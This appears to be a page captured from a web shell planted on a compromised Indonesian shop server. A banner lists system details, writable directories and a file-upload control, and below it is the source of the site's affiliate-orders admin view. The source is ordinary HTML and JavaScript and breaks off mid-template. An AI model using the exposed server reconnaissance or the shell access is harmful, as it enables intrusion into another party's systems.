https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin_new/affiliate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin_new/affiliate/transaksi.php
<main class="flex-1 py-4 px-4 bg-purple-50">
    <div class="flex items-center mb-4">
        <h1 class="text-xl font-bold text-[#333]">Daftar Pesanan Afiliasi</h1>

        <div class="ml-auto flex items-center gap-2">
            <div class="relative inline-block text-left">
                <!-- Button Download -->
                <button type="button" id="btnDownloadData" class="border border-gray-300 text-sm rounded-lg px-4 py-2 bg-white hover:bg-gray-50 gap-4 flex items-center justify-between focus:outline-none focus:ring-1 focus:ring-[#7A4397] hover:bg-[#5a2f73] transition duration-300 ease-in-out text-[#333]">
                    <i data-feather="download" class="h-4 w-4"></i>
                    <span>Download</span>
                    <i data-feather="chevron-down" id="chevronDownload" class="h-4 w-4 transition-transform transform duration-300"></i>
                </button>

                <!-- Dropdown -->
                <div id="dropdownMenu" class="hidden opacity-0 scale-95 transform transition-all duration-300 absolute right-0 mt-2 w-48 bg-white border border-gray-200 rounded-lg shadow-lg z-[999]">
                    <button data-format="csv" class="dropdown-download-item flex items-center gap-2 w-full text-left px-4 py-2 hover:bg-gray-100 transition duration-200">
                        <i data-feather="file-text" class="h-4 w-4"></i> Download as CSV
                    </button>
                    <button data-format="excel" class="dropdown-download-item flex items-center gap-2 w-full text-left px-4 py-2 hover:bg-gray-100 transition duration-200">
                        <i data-feather="table" class="h-4 w-4"></i> Download as Excel
                    </button>
                    <button data-format="pdf" class="dropdown-download-item flex items-center gap-2 w-full text-left px-4 py-2 hover:bg-gray-100 transition duration-200">
                        <i data-feather="file" class="h-4 w-4"></i> Download as PDF
                    </button>
                </div>
            </div>
            <!-- Date Filter Dropdown -->
            <div class="relative" id="dateFilterDropdown">
                <button class="border border-gray-300 text-sm rounded-lg px-4 py-2 bg-white hover:bg-gray-50 flex items-center justify-between w-[350px] focus:outline-none focus:ring-1 focus:ring-[#7A4397]">
                    <div class="flex items-center">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 mr-2 text-[#333]" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z" />
                        </svg>
                        <span id="dateFilterText">Pilih Tanggal</span>
                    </div>
                    <i data-feather="chevron-down" class="w-4 h-4 text-gray-700"></i>
                </button>
                <div class="hidden absolute right-0 top-full mt-2 bg-white border border-gray-200 rounded-lg shadow-lg z-50 w-[650px]" id="dateFilterMenu">
                    <div class="p-4">
                        <!-- Two-column layout with fixed left column -->
                        <div class="flex">
                            <!-- Left Column - Fixed options -->
                            <div class="w-1/2 border-r border-gray-200 pr-2">
                                <h3 class="text-gray-700 font-medium mb-2">Rentang waktu</h3>

                                <div class="flex flex-col">
                                    <!-- Hari ini -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="today">
                                        <div class="text-gray-800 pl-2">Hari ini</div>
                                    </div>

                                    <!-- Kemarin -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="yesterday">
                                        <div class="text-gray-800 pl-2">Kemarin</div>
                                    </div>

                                    <!-- 7 hari terakhir -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="last7days">
                                        <div class="text-gray-800 pl-2">7 hari terakhir</div>
                                    </div>

                                    <!-- 30 hari terakhir -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="last30days">
                                        <div class="text-gray-800 pl-2">30 hari terakhir</div>
                                    </div>

                                    <!-- Bulan ini -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="thisMonth">
                                        <div class="text-gray-800 pl-2">Bulan ini</div>
                                    </div>

                                    <!-- Tahun ini -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="thisYear">
                                        <div class="text-gray-800 pl-2">Tahun ini</div>
                                    </div>

                                    <!-- Separator -->
                                    <div class="my-2 border-t border-gray-200"></div>

                                    <!-- Pilih Tanggal with active indicator -->
                                    <div id="customDateOption" class="py-3 hover:bg-gray-50 cursor-pointer date-option relative" data-option="customDate">
                                        <div class="text-gray-800 pl-2 flex items-center">
                                            <span>Pilih Tanggal</span>
                                            <div id="customDateIndicator" class="hidden absolute left-0 top-0 bottom-0 w-1 bg-green-500"></div>
                                        </div>
                                    </div>
                                </div>
                            </div>

                            <!-- Right Column - Dynamic content -->
                            <div class="w-1/2 pl-2">
                                <!-- Date display for predefined options -->
                                <div id="predefinedDateInfo">
                                    <h3 class="text-gray-700 font-medium mb-2" id="currentMonthTitle">Februari 2025</h3>

                                    <div id="dateDisplays">
                                        <div class="py-3" id="todayDateDisplay">
                                            <div class="text-gray-600" id="todayDate">28 Feb 2025 (00:00 - 11:00)</div>
                                        </div>

                                        <div class="py-3 hidden" id="yesterdayDateDisplay">
                                            <div class="text-gray-600" id="yesterdayDate">27 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="last7daysDateDisplay">
                                            <div class="text-gray-600" id="last7daysDate">21 Feb - 27 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="last30daysDateDisplay">
                                            <div class="text-gray-600" id="last30daysDate">29 Jan - 27 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="thisMonthDateDisplay">
                                            <div class="text-gray-600" id="thisMonthDate">01 Feb - 28 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="perDayDateDisplay">
                                            <div class="text-gray-600">Filter per hari</div>
                                        </div>

                                        <div class="py-3 hidden" id="perWeekDateDisplay">
                                            <div class="text-gray-600">Filter per minggu</div>
                                        </div>

                                        <div class="py-3 hidden" id="perMonthDateDisplay">
                                            <div class="text-gray-600">Filter per bulan</div>
                                        </div>
                                    </div>
                                </div>

                                <!-- Calendar for custom date -->
                                <div id="calendarContainer" class="hidden">
                                    <div class="text-center mb-2">
                                        <div id="customDateMessage" class="text-gray-500 text-sm">Kamu belum pilih tanggal</div>
                                    </div>
                                    <div id="flatpickrContainer"></div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Tabs -->
    <div class="bg-white rounded-lg shadow-sm p-4">
        <!-- Tab Navigation -->
        <nav class="flex space-x-8" aria-label="Order Tabs">
            <button class="tab-btn p-2 text-sm font-medium border-b-2 border-[#7A4397] text-[#7A4397]" data-tab="all">
                Semua Pesanan
            </button>
            <button class="tab-btn p-2 text-sm font-medium text-gray-500 hover:text-gray-700" data-tab="pending">
                Perlu Diproses
            </button>
            <button class="tab-btn p-2 text-sm font-medium text-gray-500 hover:text-gray-700" data-tab="processing">
                Lagi Diproses
            </button>
            <button class="tab-btn p-2 text-sm font-medium text-gray-500 hover:text-gray-700" data-tab="done">
                Pesanan Selesai
            </button>
            <button class="tab-btn p-2 text-sm font-medium text-gray-500 hover:text-gray-700" data-tab="cancelled">
                Dibatalin
            </button>
        </nav>
    </div>

    <!-- Search and Filters -->
    <div class="mt-4 flex flex-col gap-4 sm:flex-row sm:flex-wrap text-sm">
        <!-- Filter Dropdowns -->
        <div class="flex flex-wrap gap-2">
            <!-- Filter Dropdown -->
            <div class="relative" id="filterDropdown">
                <button class="border border-gray-300 text-sm rounded-lg px-4 py-2 bg-white hover:bg-gray-50 flex items-center justify-between w-[200px] focus:outline-none focus:ring-1 focus:ring-[#7A4397]">
                    <span id="filterText">Filter</span>
                    <i data-feather="chevron-down" class="w-4 h-4 text-gray-700"></i>
                </button>
                <div class="hidden absolute left-0 top-full mt-1 bg-white border border-gray-200 rounded-lg shadow-lg z-50 min-w-[200px]" id="filterMenu">
                    <!-- Main Menu Items -->
                    <div class="py-1">
                        <!-- Affiliate -->
                        <div class="px-4 py-2 text-sm hover:bg-gray-100 cursor-pointer flex justify-between items-center group relative">
                            <span>Affiliates</span>
                            <i data-feather="chevron-right" class="w-4 h-4 text-gray-700"></i>
                            <!-- Submenu for Retailer -->
                            <div class="hidden group-hover:block absolute left-full top-0 bg-white border border-gray-200 rounded-lg shadow-lg min-w-[200px] -mt-1 max-h-[300px] overflow-y-auto">
                                <div class="py-1">
                                    <?php foreach ($affiliates as $affiliate): ?>
                                        <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                            <input type="checkbox" class="mr-2 filter-checkbox" data-filter="affiliate" data-param="affiliateId" data-value="<?php echo $affiliate->id_daftar; ?>">
                                            <span><?php echo $affiliate->nama; ?></span>
                                        </label>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                        </div>
                        <!-- Metode Pembayaran -->
                        <div class="px-4 py-2 text-sm hover:bg-gray-100 cursor-pointer flex justify-between items-center group relative">
                            <span>Tipe Affiliates</span>
                            <i data-feather="chevron-right" class="w-4 h-4 text-gray-700"></i>
                            <div class="hidden group-hover:block absolute left-full top-0 bg-white border border-gray-200 rounded-lg shadow-lg min-w-[200px] -mt-1">
                                <div class="py-1">
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="affiliate-type" data-param="isAsmaradoor" data-value="true">
                                        <span>Asmaradoor</span>
                                    </label>
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="affiliate-type" data-param="isAsmarasana" data-value="true">
                                        <span>Asmarasana</span>
                                    </label>
                                </div>
                            </div>
                        </div>
                        <!-- Metode Pembayaran -->
                        <div class="px-4 py-2 text-sm hover:bg-gray-100 cursor-pointer flex justify-between items-center group relative">
                            <span>Tipe Pembayaran</span>
                            <i data-feather="chevron-right" class="w-4 h-4 text-gray-700"></i>
                            <div class="hidden group-hover:block absolute left-full top-0 bg-white border border-gray-200 rounded-lg shadow-lg min-w-[200px] -mt-1">
                                <div class="py-1">
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="payment" data-param="isBCATransfer" data-value="true">
                                        <span>Transfer BCA</span>
                                    </label>
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="payment" data-param="isMandiriTransfer" data-value="true">
                                        <span>Transfer MANDIRI</span>
                                    </label>
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="payment" data-param="isPaypal" data-value="true">
                                        <span>PayPal</span>
                                    </label>
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="payment" data-param="isDoku" data-value="true">
                                        <span>DOKU</span>
                                    </label>
                                </div>
                            </div>
                        </div>
                        <!-- Metode Pengiriman -->
                        <div class="px-4 py-2 text-sm hover:bg-gray-100 cursor-pointer flex justify-between items-center group relative">
                            <span>Metode Pengiriman</span>
                            <i data-feather="chevron-right" class="w-4 h-4 text-gray-700"></i>
                            <!-- Submenu for Stok -->
                            <div class="hidden group-hover:block absolute left-full top-0 bg-white border border-gray-200 rounded-lg shadow-lg min-w-[200px] -mt-1">
                                <div class="py-1">
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="shipping" data-param="isRegularShipping" data-value="true">
                                        <span>Regular</span>
                                    </label>
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="shipping" data-param="isTwoHourShipping" data-value="true">
                                        <span>2 Hour Delivery</span>
                                    </label>
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="shipping" data-param="isOneDayShipping" data-value="true">
                                        <span>One Day Service</span>
                                    </label>
                                    <label class="flex items-center px-4 py-2 hover:bg-gray-100 cursor-pointer">
                                        <input type="checkbox" class="mr-2 filter-checkbox" data-filter="shipping" data-param="isNextDayShipping" data-value="true">
                                        <span>Next Day Service</span>
                                    </label>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="flex flex-wrap gap-2 text-sm">
                <!-- Sort Select -->
                <div class="relative w-[150px]">
                    <select id="sortFilter" name="sort" class="w-full appearance-none border border-gray-300 rounded-lg px-4 py-2 bg-white pr-10 cursor-pointer focus:outline-none focus:ring-1 focus:ring-[#7A4397] truncate">
                        <option value="" class="truncate">Urutkan</option>
                        <option value="paling_baru">Paling Baru</option>
                        <option value="paling_lama">Paling Lama</option>
                    </select>
                    <div class="pointer-events-none absolute inset-y-0 right-0 flex items-center px-2 text-gray-700">
                        <i data-feather="chevron-down" class="w-4 h-4"></i>
                    </div>
                </div>
            </div>
        </div>

        <!-- Search -->
        <div class="w-full sm:flex-1 sm:min-w-[300px]">
            <div class="relative">
                <input
                    id="searchInput"
                    type="text"
                    placeholder="Cari berdasarkan Order ID, Nama Produk, Invoice Tokopedia, Nama Customer, Email, atau Voucher"
                    class="w-full pl-10 pr-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:ring-1 focus:ring-[#7A4397]">
                <div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
                    <svg class="h-5 w-5 text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
                    </svg>
                </div>
            </div>
        </div>

    </div>

    <!-- Selected Filters Display -->
    <div id="selectedFilters" class="mt-4 flex flex-wrap gap-2 items-center">
        <span id="resetFilters" class="text-[#7A4397] text-sm mr-2 font-semibold cursor-pointer hidden">Reset Filter</span>
    </div>
    <div id="orders-container" class="mt-4"></div>
    <div id="loading-more" class="hidden flex justify-center items-center p-4">
        <div class="animate-spin rounded-full h-6 w-6 border-b-2 border-green-600"></div>
        <span class="ml-2 text-gray-600">Memuat data...</span>
    </div>
</main>

<script>
    let currentPage = 1;
    let hasMoreData = true;
    let isFetching = false;
    let allOrders = [];
    let debounceTimer;
    let searchDebounceTimer;

    let currentTab = new URLSearchParams(window.location.search).get('tab') || 'all';
    const tabs = document.querySelectorAll('.tab-btn');
    // Filter
    const filterBtn = document.querySelector('#filterDropdown button');
    const filterMenu = document.querySelector('#filterMenu');
    const filterText = document.getElementById("filterText");

    const selectedFiltersContainer = document.getElementById("selectedFilters");
    const filterCheckboxes = document.querySelectorAll('input[type="checkbox"]');

    const urlParams = new URLSearchParams(window.location.search);

    // Search
    const searchInput = document.getElementById('searchInput');

    // Date Filter
    const dateFilterDropdown = document.getElementById('dateFilterDropdown');
    const dateFilterButton = dateFilterDropdown.querySelector('button');
    const dateFilterMenu = document.getElementById('dateFilterMenu');
    const dateFilterText = document.getElementById('dateFilterText');
    const dateOptions = document.querySelectorAll('.date-option');
    const customDateOption = document.getElementById('customDateOption');
    const customDateIndicator = document.getElementById('customDateIndicator');
    const calendarContainer = document.getElementById('calendarContainer');
    const predefinedDateInfo = document.getElementById('predefinedDateInfo');
    const dateDisplays = document.querySelectorAll('#dateDisplays > div');
    // Current active option
    let activeOption = 'today';
    // Initialize flatpickr calendar
    let flatpickrInstance = null;

    const BASE_URL_IMAGE = "<?= base_url('uploads/product') ?>";
    const BASE_URL_PRODUCT = "<?= base_url('product') ?>";
    const BASE_URL_FETCH_DATA = "<?= base_url('admin/affiliator/get_affiliate_orders') ?>";
    const BASE_URL = "<?= base_url('admin/affiliator') ?>";

    let csrfToken = '<?= $this->security->get_csrf_hash(); ?>';
    const csrfName = '<?= $this->security->get_csrf_token_name(); ?>';

    document.addEventListener("DOMContentLoaded", function() {
        // Set default tab saat halaman dimuat
        tabs.forEach(tab => {
            if (tab.getAttribute('data-tab') === currentTab) {
                tab.classList.add('text-[#7A4397]', 'border-b-2', 'border-[#7A4397]');
                tab.classList.remove('text-gray-500', 'hover:text-gray-700');
                updateURLAndFetch();
            } else {
                tab.classList.remove('text-[#7A4397]', 'border-b-2', 'border-[#7A4397]');
                tab.classList.add('text-gray-500', 'hover:text-gray-700');
            }
        });
        // Handle Tab Clicks
        tabs.forEach(tab => {
            tab.addEventListener('click', () => {
                tabs.forEach(t => {
                    t.classList.remove('text-[#7A4397]', 'border-b-2', 'border-[#7A4397]');
                    t.classList.add('text-gray-500', 'hover:text-gray-700');
                });

                tab.classList.add('text-[#7A4397]', 'border-b-2', 'border-[#7A4397]');
                tab.classList.remove('text-gray-500', 'hover:text-gray-700');

                currentTab = tab.getAttribute('data-tab');
                updateURLAndFetch();
            });
        });

        // Sort
        sortFilter.addEventListener('change', () => {
            updateURLAndFetch();
            updateSelectedFilters();
        });
        // Filter Menu
        filterBtn.addEventListener('click', () => {
            filterMenu.classList.toggle('hidden');
        });

        // Close dropdown when clicking outside
        document.addEventListener('click', (e) => {
            if (!e.target.closest('#filterDropdown')) {
                filterMenu.classList.add('hidden');
            }
        });

        // Handle checkbox changes
        filterCheckboxes.forEach(checkbox => {
            checkbox.addEventListener('change', () => {
                updateURLAndFetch();
                updateFilterText();
                updateSelectedFilters();
            });
        });

        // Remove Filter
        window.removeFilter = function(param) {
            if (param === "sort") {
                sortFilter.value = "";
            } else {
                filterCheckboxes.forEach(checkbox => {
                    if (checkbox.dataset.param === param) {
                        checkbox.checked = false;
                    }
                });
            }

            updateSelectedFilters();
            updateURLAndFetch();
            updateFilterText();
        };

        document.getElementById("resetFilters").addEventListener("click", resetAllFilters);

        // Download Data
        document.getElementById("btnDownloadData").addEventListener("click", function() {
            let dropdown = document.getElementById("dropdownMenu");
            let iconChevron = document.getElementById("chevronDownload");

            if (dropdown.classList.contains("hidden")) {
                dropdown.classList.remove("hidden");
                setTimeout(() => {
                    dropdown.classList.remove("opacity-0", "scale-95");
                }, 10);
                iconChevron.classList.add("rotate-180");
            } else {
                dropdown.classList.add("opacity-0", "scale-95");
                setTimeout(() => {
                    dropdown.classList.add("hidden");
                }, 200);
                iconChevron.classList.remove("rotate-180");
            }
        });

        // Handle click opsi
        document.querySelectorAll(".dropdown-download-item").forEach(item => {
            item.addEventListener("click", function() {
                let format = this.getAttribute("data-format");
                if (format === "csv") {
                    downloadOrdersCSV(allOrders);
                } else if (format === "excel") {
                    downloadOrdersExcel(allOrders);
                } else if (format === "pdf") {
                    downloadOrdersPDF(allOrders);
                }

                let dropdown = document.getElementById("dropdownMenu");
                dropdown.classList.add("opacity-0", "scale-95");
                setTimeout(() => {
                    dropdown.classList.add("hidden");
                }, 200);
                document.getElementById("chevronDownload").classList.remove("rotate-180");
            });
        });

        // Hide dropdown jika klik di luar
        document.addEventListener("click", function(event) {
            let dropdown = document.getElementById("dropdownMenu");
            let button = document.getElementById("btnDownloadData");
            if (!button.contains(event.target) && !dropdown.contains(event.target)) {
                dropdown.classList.add("opacity-0", "scale-95");
                setTimeout(() => {
                    dropdown.classList.add("hidden");
                }, 200);
                document.getElementById("chevronDownload").classList.remove("rotate-180");
            }
        });

        // Date Filter
        // Toggle dropdown
        dateFilterButton.addEventListener('click', function() {
            dateFilterMenu.classList.toggle('hidden');
        });

        // Close dropdown when clicking outside
        document.addEventListener('click', function(event) {
            if (!dateFilterDropdown.contains(event.target)) {
                dateFilterMenu.classList.add('hidden');
            }
        });

        // Handle date option selection
        dateOptions.forEach(option => {
            option.addEventListener('click', function() {
                const optionType = this.getAttribute('data-option');
                // Set this as the active option
                activeOption = optionType;
                // Update visual indicators
                dateOptions.forEach(opt => {
                    opt.classList.remove('bg-gray-100');
                });
                this.classList.add('bg-gray-100');
                // Hide all date displays first
                dateDisplays.forEach(display => {
                    display.classList.add('hidden');
                });
                if (optionType === 'customDate') {
                    // Show calendar for custom date
                    predefinedDateInfo.classList.add('hidden');
                    calendarContainer.classList.remove('hidden');
                    customDateIndicator.classList.remove('hidden');
                    // Initialize calendar if not already
                    initializeCalendar();
                } else {
                    // Show the relevant date display
                    predefinedDateInfo.classList.remove('hidden');
                    calendarContainer.classList.add('hidden');
                    customDateIndicator.classList.add('hidden');
                    // Show corresponding date info
                    const correspondingDisplay = document.getElementById(`${optionType}DateDisplay`);
                    if (correspondingDisplay) {
                        correspondingDisplay.classList.remove('hidden');
                    }
                    // Get date text to update the main button
                    const dateInfo = document.getElementById(`${optionType}Date`);
                    if (dateInfo) {
                        const optionText = this.querySelector('div').innerText;
                        dateFilterText.innerText = `${optionText} (${dateInfo.innerText})`;
                    } else {
                        dateFilterText.innerText = this.querySelector('div').innerText;
                    }
                    // Close dropdown after a slight delay to show the selection
                    setTimeout(() => {
                        dateFilterMenu.classList.add('hidden');
                    }, 300);

                    // Tambahkan param date_filter ke URL dan fetch data
                    updateURLAndFetch('date_filter', optionType);
                }
            });
        });

        function initializeCalendar() {
            if (flatpickrInstance === null && typeof flatpickr !== 'undefined') {
                // Create an input element for flatpickr
                if (!document.getElementById('dateRangePicker')) {
                    const input = document.createElement('input');
                    input.type = 'text';
                    input.id = 'dateRangePicker';
                    input.className = 'hidden';
                    document.getElementById('flatpickrContainer').appendChild(input);
                }

                // Initialize flatpickr
                flatpickrInstance = flatpickr("#dateRangePicker", {
                    mode: "range",
                    inline: true,
                    dateFormat: "d M Y",
                    maxDate: "today",
                    locale: {
                        rangeSeparator: " - ",
                        firstDayOfWeek: 1,
                        weekdays: {
                            shorthand: ['Min', 'Sen', 'Sel', 'Rab', 'Kam', 'Jum', 'Sab'],
                            longhand: ['Minggu', 'Senin', 'Selasa', 'Rabu', 'Kamis', 'Jumat', 'Sabtu']
                        },
                        months: {
                            shorthand: ['Jan', 'Feb', 'Mar', 'Apr', 'Mei', 'Jun', 'Jul', 'Agu', 'Sep', 'Okt', 'Nov', 'Des'],
                            longhand: ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
                        }
                    },
                    onChange: function(selectedDates, dateStr) {
                        if (selectedDates.length === 2) {
                            document.getElementById('customDateMessage').innerText = dateStr;
                        } else if (selectedDates.length === 1) {
                            document.getElementById('customDateMessage').innerText = 'Pilih tanggal akhir';
                        } else {
                            document.getElementById('customDateMessage').innerText = 'Kamu belum pilih tanggal';
                        }
                    },
                    onClose: function(selectedDates, dateStr) {
                        if (selectedDates.length === 2) {
                            // Update the custom date message
                            document.getElementById('customDateMessage').innerText = dateStr;
                            // Update the main filter text
                            dateFilterText.innerText = `Pilih Tanggal (${dateStr})`;
                            // Close the dropdown
                            dateFilterMenu.classList.add('hidden');

                            // Simpan tanggal yang dipilih untuk digunakan dalam updateURLAndFetch
                            const startDate = formatDateForApi(selectedDates[0]);
                            const endDate = formatDateForApi(selectedDates[1]);

                            // Update URL and fetch data dengan custom date
                            updateURLAndFetch('date_filter', 'custom', {
                                start_date: startDate,
                                end_date: endDate
                            });
                        }
                    }
                });

                // Customize calendar appearance
                const calendarElement = document.querySelector('.flatpickr-calendar');
                if (calendarElement) {
                    calendarElement.classList.add('shadow-none', 'border-0');
                }
            }
        }

        // Helper function to format date for API
        function formatDateForApi(date) {
            return `${date.getFullYear()}-${(date.getMonth() + 1).toString().padStart(2, '0')}-${date.getDate().toString().padStart(2, '0')}`;
        }

        // Update date values on page load
        updateDateLabels();

        // Set today as active by default
        const todayOption = document.querySelector('[data-option="today"]');
        if (todayOption) {
            todayOption.classList.add('bg-gray-100');
            document.getElementById('todayDateDisplay').classList.remove('hidden');
        }

        window.addEventListener('scroll', () => {
            if ((window.innerHeight + window.scrollY) >= document.body.offsetHeight - 500) {
                fetchOrders(new URLSearchParams(window.location.search), true);
            }
        });

        document.getElementById('searchInput').addEventListener('input', function(e) {
            clearTimeout(searchDebounceTimer);
            searchDebounceTimer = setTimeout(() => {
                searchOrders(e.target.value);
            }, 250);
        });


        feather.replace();
        updateURLAndFetch();
        initInfiniteScroll();
    })


    function updateURLAndFetch(paramName, value, extraParams = null) {
        clearTimeout(debounceTimer);
        debounceTimer = setTimeout(() => {
            const params = new URLSearchParams(window.location.search);
            params.set('tab', currentTab);

            // Perbarui atau hapus parameter yang ditentukan
            if (paramName) {
                if (value !== null && value !== undefined) {
                    params.set(paramName, value);
                } else {
                    params.delete(paramName);
                }
            }

            // Handle parameter date
            if (paramName === 'date_filter') {
                // Jika date_filter adalah custom, tambahkan extraParams
                if (value === 'custom' && extraParams) {
                    for (const [key, val] of Object.entries(extraParams)) {
                        params.set(key, val);
                    }
                } else if (value !== 'custom') {
                    // Hapus parameter start_date dan end_date jika bukan custom
                    params.delete('start_date');
                    params.delete('end_date');
                }
            }

            // Set parameter sort
            const selectedSort = document.getElementById('sortFilter').value;
            if (selectedSort) {
                params.set('sort', selectedSort);
            } else {
                params.delete('sort');
            }

            // Collect all checkbox state first
            const checkboxParamMap = {};

            // Inisialisasi parameter untuk retailer dengan array kosong
            let selectedRetailers = [];

            // Inisialisasi semua parameter filter sebagai null
            document.querySelectorAll('input[type="checkbox"]').forEach(checkbox => {
                const param = checkbox.dataset.param;
                const filter = checkbox.dataset.filter;

                // Khusus untuk retailer, tangani secara terpisah
                if (filter === 'retailer') {
                    return; // Skip untuk ditangani nanti
                }

                if (param && !checkboxParamMap[param]) {
                    checkboxParamMap[param] = null;
                }
            });

            // Setel nilai untuk checkbox yang dicentang (selain retailer)
            document.querySelectorAll('input[type="checkbox"]:checked').forEach(checkbox => {
                const param = checkbox.dataset.param;
                const value = checkbox.dataset.value;
                const filter = checkbox.dataset.filter;

                // Khusus untuk retailer, tangani secara terpisah
                if (filter === 'retailer') {
                    selectedRetailers.push(checkbox.dataset.value);
                    return;
                }

                if (param && value) {
                    checkboxParamMap[param] = value;
                }
            });

            // Terapkan parameter dari checkboxes
            for (const [param, value] of Object.entries(checkboxParamMap)) {
                if (value !== null) {
                    params.set(param, value);
                } else {
                    params.delete(param);
                }
            }

            // Handle retailer filter - tambahkan sebagai parameter terpisah
            if (selectedRetailers.length > 0) {
                params.set('retailerId', selectedRetailers.join(','));
            } else {
                params.delete('retailerId');
            }

            // Reset pagination
            currentPage = 1;
            hasMoreData = true;
            allOrders = [];

            // Update URL
            const newUrl = `${window.location.pathname}?${params.toString()}`;
            history.pushState(null, '', newUrl);

            // Fetch products with new parameters (replace mode)
            fetchOrders(params, false);
        }, 300);
    }

    function fetchOrders(params = new URLSearchParams(), append = false) {

        if (isFetching) return;
        // Jika tidak dalam mode append dan tidak ada data lagi, reset hasMoreData
        if (!append) {
            hasMoreData = true;
        } else if (!hasMoreData) {
            return;
        }

        isFetching = true;

        const baseUrl = BASE_URL_FETCH_DATA;
        params.set('page', currentPage);
        params.set('limit', 10);

        const url = `${baseUrl}?${params.toString()}`;
        const progressBar = document.getElementById('progressBar');
        progressBar.classList.remove('hidden');
        fetch(url)
            .then(res => res.json())
            .then(data => {
                progressBar.classList.add('hidden');
                if (data.length === 0) {
                    hasMoreData = false;

                    if (!append) {
                        const container = document.getElementById('orders-container');
                        container.innerHTML = '<div class="flex justify-center items-center p-8 text-gray-500">Tidak ada pesanan yang ditemukan</div>';
                    }
                } else {
                    if (!append) {
                        allOrders = data;
                    } else {
                        allOrders = [...allOrders, ...data];
                    }
                    console.log(allOrders);
                    renderOrders(data, append);
                    currentPage++;
                }

                isFetching = false;
            })
            .catch(error => {
                progressBar.classList.add('hidden');
                console.error('Error fetching orders:', error);
                isFetching = false;

                // Tampilkan pesan error
                const container = document.getElementById('orders-container');
                container.innerHTML = '<div class="flex justify-center items-center p-8 text-red-500">Terjadi kesalahan saat mengambil data. Silakan coba lagi.</div>';
            });
    }

    function renderOrders(orders, append = false) {
        const container = document.getElementById('orders-container');
        const loadingMore = document.getElementById('loading-more');
        if (!append) {
            container.innerHTML = ''; // Clear existing content
        }

        if (!orders || orders.length === 0) {
            if (!append) {
                container.innerHTML = '<div class="flex justify-center items-center p-8 text-gray-500">Tidak ada pesanan yang ditemukan</div>';
            }
            loadingMore.classList.add('hidden');
            return;
        }

        orders.forEach(order => {
            const items = order.items || [];
            const firstItem = items[0] || {};
            const otherItemsCount = items.length - 1;

            const card = document.createElement('div');
            card.className = 'bg-white rounded-lg shadow-md mb-4 overflow-hidden border border-gray-200';

            card.innerHTML = `
                <div class="flex gap-8 items-center p-4 border-b border-gray-200">
                    <div class="flex items-center space-x-3">
                        <span class="${order.payment_status_class} font-medium text-sm">${order.payment_status_text}</span>
                        <span class="text-[#7A4397] font-bold text-sm">Order ID: ${order.id_orders}</span>
                        <span class="bg-green-100 text-red-700 px-2 py-1 rounded text-sm font-medium">
                            ${order.affiliate_info ? (order.affiliate_info.kategori ? order.affiliate_info.kategori.charAt(0).toUpperCase() + order.affiliate_info.kategori.slice(1) : '-') : '-'}
                        </span>
